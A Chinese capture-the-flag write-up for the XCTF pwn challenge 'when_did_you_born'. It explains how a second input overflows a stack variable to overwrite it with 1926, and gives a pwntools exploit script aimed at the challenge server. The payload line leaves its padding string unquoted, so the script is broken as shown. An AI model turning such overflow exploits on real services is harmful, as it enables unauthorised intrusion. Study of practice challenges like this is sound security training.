码迷,mamicode.com
首页 > 其他好文 > 详细

XCTF - pwn when_did_you_born - WP

时间:2019-09-12 23:54:23      阅读:202      评论:0      收藏:0      [点我收藏+]

标签:remote   现在   pytho   覆盖   使用   usr   mic   函数   cti   

1.先拉进虚拟机运行一下

技术图片

 

 

2.检查一下文件格式,发现是64位文件,然后这个文件开了 canary 和 Nx 保护,但是影响不大。

技术图片

 

 

3.用 ida64 反编译查看一下,进入main函数。不难发现,当进入 else 分支后使得 v6 得 1926 即可得到 flag。

技术图片

 

 

4.现在的问题是将第一次 v6 不得 1926 而第二次检查 v6 时却是 1926 。我们注意上面定义变量时,v5  的地址为 20h,v6 为 18h。因此我们可以构造 exp 来使用第二次输入来将 v6 覆盖为 1926。而其中两个变量的差值为 8.因此 payload 就能构造了。

 

技术图片

 

 

5.

#!/usr/bin/env python
from pwn import *

# v5 - 20h    
# v6 - 18h
#result = 1926

payload = aaaaaaaa + str(p64(1926))


r = remote("111.198.29.45", 57262)
r.recvuntil("Birth?")
r.sendline("2000")
r.recvuntil("Name?")
r.sendline(payload)

r.interactive()

 

 

6.运行脚本后得到 flag

技术图片

 

XCTF - pwn when_did_you_born - WP

标签:remote   现在   pytho   覆盖   使用   usr   mic   函数   cti   

原文地址:https://www.cnblogs.com/Tsuiyields/p/11515377.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!